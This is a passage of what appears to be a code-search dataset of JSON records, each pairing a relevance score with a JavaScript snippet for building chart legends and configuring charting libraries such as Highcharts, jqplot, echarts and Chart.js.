this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "768dcb61c6de9074e0c7aad2dad97383", "score": "0.5118014", "text": "function createLegend(choiceContainer, infos) {\n // Sort series by name\n var keys = [];\n $.each(infos.data.result.series, function(index, series){\n keys.push(series.label);\n });\n keys.sort(sortAlphaCaseless);\n\n // Create list of series with support of activation/deactivation\n $.each(keys, function(index, key) {\n var id = choiceContainer.attr('id') + index;\n $('<li />')\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\n .append($('<label />', { 'text': key , 'for': id }))\n .appendTo(choiceContainer);\n });\n choiceContainer.find(\"label\").click( function(){\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\n this.style.color=\"#818181\";\n }else {\n this.style.color=\"black\";\n }\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\n });\n choiceContainer.find(\"label\").mousedown( function(event){\n event.preventDefault();\n });\n choiceContainer.find(\"label\").mouseenter(function(){\n this.style.cursor=\"pointer\";\n });\n\n // Recreate graphe on series activation toggle\n choiceContainer.find(\"input\").click(function(){\n infos.createGraph();\n });\n}", "title": "" }, { "docid": "59a2d6591035984dab2a4da0af245619", "score": "0.5115913", "text": "getColumnSelector(placeholder = \"Select Column\") {\n let role = this;\n \n let placeholderOption = $('<option></option>')\n .prop('disabled', true)\n .prop('selected', true)\n .prop('value', null)\n .text(placeholder);\n \n let select = $('<select></select>')\n .append(placeholderOption)\n .fillWithOptions(role.Chart.SourceData.head)\n .on('change', function (e) { role.Column = e.target.value });\n \n role.handlers({ columnChange: () => select.prop('value', role.Column) });\n role.Chart.handlers({ sourceChange: () => {console.log(\"abrakadabra\"); select.empty().append(placeholderOption).fillWithOptions(role.Chart.SourceData.head)} });\n \n return select;\n }", "title": "" }, { "docid": "443c7ad3c9ee8cc47a1574f6609b8fc4", "score": "0.5113171", "text": "function optionChanged(id) {\n buildCharts(id);\n}", "title": "" }, { "docid": "12c37ac712af9c0404e4ee95694dd5f7", "score": "0.5110938", "text": "_setChartOptions() {\n // the animated loader\n const _loader = this.loader;\n // chart default options\n let _options = {\n units: this.data_units || \"\",\n layout: {\n padding: {\n left: 24,\n right: 24,\n top: 0,\n bottom: 24\n }\n },\n chartArea: {\n backgroundColor: \"transparent\"\n },\n hover: {\n mode: \"nearest\",\n intersect: true\n },\n elements: {},\n spanGaps: true,\n plugins: {\n title: {},\n tooltip: {},\n legend: {\n display: this.themeSettings.showLegend || false,\n },\n scales: {}\n },\n animation: {\n onComplete: function () {\n if (_loader) _loader.style.display = \"none\";\n }\n },\n onResize: null\n };\n\n if (this.themeSettings.gradient === true) {\n if (this.graphData.config.gradient === true && this.graphData.config.mode === \"simple\") {\n //enable gradient colors for state charts\n _options.gradientcolor = {\n color: true,\n type: this.chart_type\n };\n }\n if (this.graphData.config.gradient) {\n // enable gradient colors for data series chart\n _options.plugins = {\n gradient\n };\n }\n }\n\n // ---------------------------------------------------\n // check secondary axis\n // this.graphData.config holds the configruation data\n // this.graphData.data.datasets data per series\n // ---------------------------------------------------\n if (this.graphData.config && \n this.graphData.config.secondaryAxis &&\n this.graphData &&\n this.graphData.data &&\n this.graphData.data.datasets\n ) {\n let _scaleOptions = {};\n this.graphData.data.datasets.forEach((dataset) => {\n if (dataset.yAxisID) {\n _scaleOptions[dataset.yAxisID] = {};\n _scaleOptions[dataset.yAxisID].id = dataset.yAxisID;\n _scaleOptions[dataset.yAxisID].type = \"linear\";\n _scaleOptions[dataset.yAxisID].position = dataset.yAxisID;\n _scaleOptions[dataset.yAxisID].display = true;\n if (dataset.yAxisID.toLowerCase() == \"right\") {\n _scaleOptions[dataset.yAxisID].gridLines = {\n borderDash: [2, 5],\n drawOnChartArea: false\n };\n }\n }\n if (dataset.xAxisID) {\n _scaleOptions[dataset.xAxisID] = {};\n _scaleOptions[dataset.xAxisID].id = dataset.xAxisID;\n _scaleOptions[dataset.xAxisID].type = \"linear\";\n _scaleOptions[dataset.xAxisID].position = dataset.xAxisID;\n _scaleOptions[dataset.xAxisID].display = true;\n if (dataset.xAxisID.toLowerCase() == \"top\") {\n _scaleOptions[dataset.xAxisID].gridLines = {\n borderDash: [2, 5],\n drawOnChartArea: false\n };\n }\n }\n });\n if (_scaleOptions) {\n _options.scales = _scaleOptions;\n }\n }\n // set the axis label based on the data settings\n if (this.chart_type.toLowerCase() === \"bubble\") {\n let labelX = this.card_config.entities[0].name;\n labelX += this.card_config.entities[0].unit ? \" (\" + this.card_config.entities[0].unit + \")\" : \"\";\n let labelY = this.card_config.entities[1].name;\n labelY += this.card_config.entities[1].unit ? \" (\" + this.card_config.entities[1].unit + \")\" : \"\";\n _options.scales = {\n x: {\n id: \"x\",\n scaleLabel: {\n display: true,\n labelString: labelX\n }\n },\n y: {\n id: \"y\",\n scaleLabel: {\n display: true,\n labelString: labelY\n }\n }\n };\n // scale bubble (optional)\n // _options.elements = {\n // point: {\n // radius: (context) => {\n // const value = context.dataset.data[context.dataIndex];\n // return value._r * 0.5;\n // }\n // }\n // };\n }\n\n // case barchart segment\n // TODO: better use a plugin for this feature.\n // set bar as stacked, hide the legend for the segmentbar,\n // hide the tooltip item for the segmentbar.\n if (this.graphData.config && this.graphData.config.segmentbar === true) {\n _options.scales = {\n x: {\n id: \"x\",\n stacked: true\n },\n y: {\n id: \"y\",\n stacked: true\n }\n };\n _options.plugins.legend = {\n labels: {\n filter: (legendItem, data) => {\n return data.datasets[legendItem.datasetIndex].tooltip !== false;\n }\n }\n };\n _options.plugins.tooltip.callbacks = {\n label: (chart) => {\n if (chart.dataset.tooltip === false || !chart.dataset.label) {\n return null;\n }\n return chart.formattedValue + \" \" + chart.dataset.unit || \"\";\n }\n };\n }\n\n // preset cart current config\n let chartCurrentConfig = {\n type: this.chart_type,\n data: {\n labels: [],\n datasets: []\n },\n options: _options\n };\n\n // chart global settings\n this._setChartDefaults();\n // ---------------------------------------\n // merge default with chart config options\n // this.chartconfig.options see yaml config\n // - chart\n // - options:\n // ---------------------------------------\n if (this.chartconfig.options) {\n chartCurrentConfig.options = deepMerge(_options, this.chartconfig.options);\n } else {\n chartCurrentConfig.options = _options;\n }\n return chartCurrentConfig;\n }", "title": "" }, { "docid": "d6580915fdea97aaa733a217e672add4", "score": "0.5107665", "text": "_chartChanged(e){this.set(\"activeChart.title\",e.detail.value);this.notifyPath(\"activeChart.title\");this.set(\"activeChart.description\",\"Chart of values relative to \"+e.detail.value);this.notifyPath(\"activeChart.description\");// calculate the valid charting options relative to selected chart style\nthis.set(\"activeChart.data\",this._formatChartData(e.detail.value));this.notifyPath(\"activeChart.data\")}", "title": "" }, { "docid": "f86122e50121da89b6a75b1354c4b49c", "score": "0.51032466", "text": "function optionChanged(newSample){\n buildMetadata(newSample);\n buildCharts(newSample);\n}", "title": "" }, { "docid": "fcb0c079fdff5212768b7f8f634e8482", "score": "0.50779617", "text": "function render_age_chart(title, series) {\n\n chart = new Highcharts.Chart({\n chart: {\n renderTo: 'chart',\n type: 'line',\n marginRight: 130,\n marginBottom: 25\n },\n plotOptions: {\n line: {\n dataLabels: {\n // enabled: true\n },\n shadow: false,\n lineWidth: 3,\n marker: {\n enabled: false,\n radius: 3,\n lineWidth: 0,\n symbol: 'circle'\n }\n }\n },\n title: {\n text: title\n },\n subtitle: {\n text: ''\n },\n yAxis: {\n title: {\n text: ''\n },\n plotLines: [{\n value: 0,\n width: 1,\n color: '#808080'\n }]\n },\n tooltip: {\n },\n legend: {\n },\n series: series\n });\n\n\n\n }", "title": "" }, { "docid": "dae4c625cff9982c77e24c3cbc4652d9", "score": "0.5077186", "text": "function optionChanged(sample_data){\n filterMeta(sample_data);\n buildCharts(sample_data);\n}", "title": "" }, { "docid": "ff74e10a26e8529647c4aa112e8c36fa", "score": "0.5073099", "text": "function preInit(target, data, options) {\n options = options || {};\n options.axesDefaults = options.axesDefaults || {};\n options.legend = options.legend || {};\n options.seriesDefaults = options.seriesDefaults || {};\n // only set these if there is a donut series\n var setopts = false;\n if (options.seriesDefaults.renderer == $.jqplot.DonutRenderer) {\n setopts = true;\n }\n else if (options.series) {\n for (var i=0; i < options.series.length; i++) {\n if (options.series[i].renderer == $.jqplot.DonutRenderer) {\n setopts = true;\n }\n }\n }\n \n if (setopts) {\n options.axesDefaults.renderer = $.jqplot.DonutAxisRenderer;\n options.legend.renderer = $.jqplot.DonutLegendRenderer;\n options.legend.preDraw = true;\n options.seriesDefaults.pointLabels = {show: false};\n }\n }", "title": "" }, { "docid": "8be9fe169f8d75e62fa1be31028dd308", "score": "0.50727266", "text": "function optionChanged(id) {\n createChart(id);\n displayMetadata(parseInt(id));\n createGaugeChart(parseInt(id));\n}", "title": "" }, { "docid": "b9352598734292d604540ed13f993d8a", "score": "0.5070849", "text": "function optionChanged(newSample) {\n //console.log(newSample);\n buildMetadata(newSample);\n buildCharts(newSample);\n}", "title": "" }, { "docid": "dca7707fdd393d5a3ec4a2b776b3d2aa", "score": "0.5068864", "text": "function optionChanged(newSample) {\n buildcharts(newSample);\n buildmetadata(newSample);\n}", "title": "" }, { "docid": "5a2e5481380c964cdf907dc643a281a6", "score": "0.50679475", "text": "function Line(container, title, userarray, datearray, seriesarray, yAxis) {\n //var colorL = ['#01D8DB', '#FFBB44', '#3EA8FE', '#7BCE4C', 'rgb(0 ,0 ,255)', 'rgb(70 ,130 ,180)', 'rgb(0 ,139 ,139)', 'rgb(0, 255, 255)', 'rgb(78 ,238 ,148)', 'rgb(0,191 ,255)', 'rgb(46 ,139 ,87)'];\n //if (myChart != null && myChart != \"\" && myChart != undefined) {\n // myChart.dispose();\n //}\n var myChart = echarts.init(document.getElementById(container));\n //console.log(datearray);\n var app = {};\n option = null;\n option = {\n title: {\n text: title,\n left: 'center',\n textStyle: {\n color: '#00D7DB'\n },\n triggerEvent: true\n },\n legend: {\n top: '10%',\n data: userarray,\n textStyle: {\n color: '#ccc'\n }\n },\n tooltip: {\n trigger: 'item',\n precision: 3,\n //formatter:\"{a}:{c}<br />时间:\",\n formatter: function (params) {\n\n //console.log(params.seriesIndex + \"---\" + params.dataIndex);\n return params.seriesName + \":\" + params.value + \"<br />\" + \"时间:\" + datearray[params.seriesIndex][params.dataIndex];\n }\n },\n grid: {\n top: '25%',\n left: '3%',\n right: '4%',\n bottom: '3%',\n containLabel: true\n },\n xAxis: {\n type: 'category',\n boundaryGap: false,\n axisLine: {\n lineStyle: {\n color: '#ccc' //控制颜色\n }\n },\n },\n yAxis: yAxis,\n series: seriesarray\n };\n\n if (option && typeof option === \"object\") {\n myChart.setOption(option, true);\n\n myChart.on('click', 'title', function (params) {\n //console.log(\"click:\" + params.componentType);\n Change(container);\n });\n\n }\n}", "title": "" }, { "docid": "464ce30647df8fc9f24b438d170a9443", "score": "0.5061443", "text": "function createChart() {\n Highcharts.chart('chart', {\n title: {\n text: options.graphTitle\n },\n subtitle: {\n text: options.graphSub\n\t\t},\n xAxis: {\n title: {\n text: options.xTitle\n }\n },\n yAxis: {\n title: {\n text: options.yTitle\n }\n },\n legend: {\n layout: 'vertical',\n align: 'right',\n verticalAlign: 'middle'\n },\n plotOptions: {\n series: {\n pointStart: 0\n }\n },\n series: [{\n name: options.data,\n data: options.values\n }]\n });\n}", "title": "" }, { "docid": "c728b951622c4ac88b8ee7e31a9de15c", "score": "0.5057048", "text": "function _normalizeOptions($options, $fullopt) {\n if ($options.type == 'pie' || $options.type == 'funnel') {\n if ($options.values && $.isArray($options.values) && !$.isArray($options.values[0]))\n $options.values = { root : $options.values };\n if ($options.tooltips && $.isArray($options.tooltips) && !$.isArray($options.tooltips[0]))\n $options.tooltips = { root : $options.tooltips };\n if ($options.anchors && $.isArray($options.anchors) && !$.isArray($options.anchors[0]))\n $options.anchors = { root : $options.anchors };\n if ($options.balloons && $.isArray($options.balloons) && !$.isArray($options.balloons[0]))\n $options.balloons = { root : $options.balloons };\n if ($options.legend && $.isArray($options.legend) && !$.isArray($options.legend[0]))\n $options.legend = { root : $options.legend };\n }\n \n if ($options.defaultSeries) {\n var deftype = $fullopt.type != 'line' ? $fullopt.type : ($options.defaultSeries.type ? $options.defaultSeries.type : ($fullopt.defaultSeries.type ? $fullopt.defaultSeries.type : 'line'));\n _normalizeOptionsColor($options.defaultSeries, deftype, $fullopt);\n if ($options.defaultSeries.stackedWith) {\n $options.defaultSeries.stacked = $options.defaultSeries.stackedWith;\n delete $options.defaultSeries.stackedWith;\n }\n }\n \n if ($options.series)\n for (var serie in $options.series) {\n var type = $fullopt.type != 'line' ? $fullopt.type : ($options.series[serie].type ? $options.series[serie].type : ($fullopt.series[serie].type ? $fullopt.series[serie].type : (deftype ? deftype : 'line')));\n _normalizeOptionsColor($options.series[serie], type, $fullopt);\n if ($options.series[serie].values)\n for (var value in $options.series[serie].values)\n _normalizeOptionsColor($options.series[serie].values[value], type, $fullopt);\n \n if ($options.series[serie].stackedWith) {\n $options.series[serie].stacked = $options.series[serie].stackedWith;\n delete $options.series[serie].stackedWith;\n }\n }\n \n if ($options.type == 'line') {\n if (!$options.features)\n $options.features = {};\n if (!$options.features.grid)\n $options.features.grid = {};\n \n if (typeof $options.gridNX != 'undefined') {\n $options.features.grid.nx = $options.gridNX;\n delete $options.gridNX;\n }\n if (typeof $options.gridNY != 'undefined') {\n $options.features.grid.ny = $options.gridNY;\n delete $options.gridNY;\n }\n if (typeof $options.gridProps != 'undefined') {\n $options.features.grid.props = $options.gridProps;\n delete $options.gridProps;\n }\n if (typeof $options.gridExtra != 'undefined') {\n $options.features.grid.extra = $options.gridExtra;\n delete $options.gridExtra;\n }\n if (typeof $options.gridForceBorder != 'undefined') {\n $options.features.grid.forceBorder = $options.gridForceBorder;\n delete $options.gridForceBorder;\n }\n \n if ($options.defaultAxis && $options.defaultAxis.normalize && ($options.defaultAxis.normalize == 'auto' || $options.defaultAxis.normalize == 'autony'))\n $options.defaultAxis.normalize = 2;\n \n if ($options.axis)\n for (var axis in $options.axis)\n if ($options.axis[axis] && $options.axis[axis].normalize && ($options.axis[axis].normalize == 'auto' || $options.axis[axis].normalize == 'autony'))\n $options.axis[axis].normalize = 2;\n }\n\n return $options;\n}", "title": "" }, { "docid": "80247a7f14021a3a347e69546b0e192e", "score": "0.5038948", "text": "function processOptions(plot, options) {\r\n\t\t\tif (options.series.curvedLines.active) {\r\n\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "3d57378cf5970c8a353d7a345d5eccb8", "score": "0.5036755", "text": "function optionChanged(sample){\n populateMetaData(sample);\n pieChart(sample);\n meterChart(sample);\n bubbleChart(sample);\n}", "title": "" }, { "docid": "a43895f674149fb254f5ff5ceb303020", "score": "0.5035214", "text": "function preInit(target, data, options) {\n options = options || {};\n options.axesDefaults = options.axesDefaults || {};\n options.legend = options.legend || {};\n options.seriesDefaults = options.seriesDefaults || {};\n // only set these if there is a donut series\n var setopts = false;\n if (options.seriesDefaults.renderer == $.jqplot.DonutRenderer) {\n setopts = true;\n }\n else if (options.series) {\n for (var i=0; i < options.series.length; i++) {\n if (options.series[i].renderer == $.jqplot.DonutRenderer) {\n setopts = true;\n }\n }\n }\n\n if (setopts) {\n options.axesDefaults.renderer = $.jqplot.DonutAxisRenderer;\n options.legend.renderer = $.jqplot.DonutLegendRenderer;\n options.legend.preDraw = true;\n options.seriesDefaults.pointLabels = {show: false};\n }\n }", "title": "" }, { "docid": "777beaddee0252bcafab2a282da97048", "score": "0.5033746", "text": "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" 